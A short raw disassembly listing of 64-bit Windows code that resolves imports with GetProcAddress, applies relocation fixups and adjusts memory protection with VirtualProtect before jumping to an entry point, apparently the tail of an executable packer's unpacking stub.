call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14004b4cd
mov qword [rbx], rax
add rbx, 8
jmp 0x14004b497
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14004b50d
cmp al, 0xef
ja 0x14004b4ff
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14004b4df
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14004b4ee
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14004b561
sub rsp, 0xffffffffffffff80
jmp 0x14000be20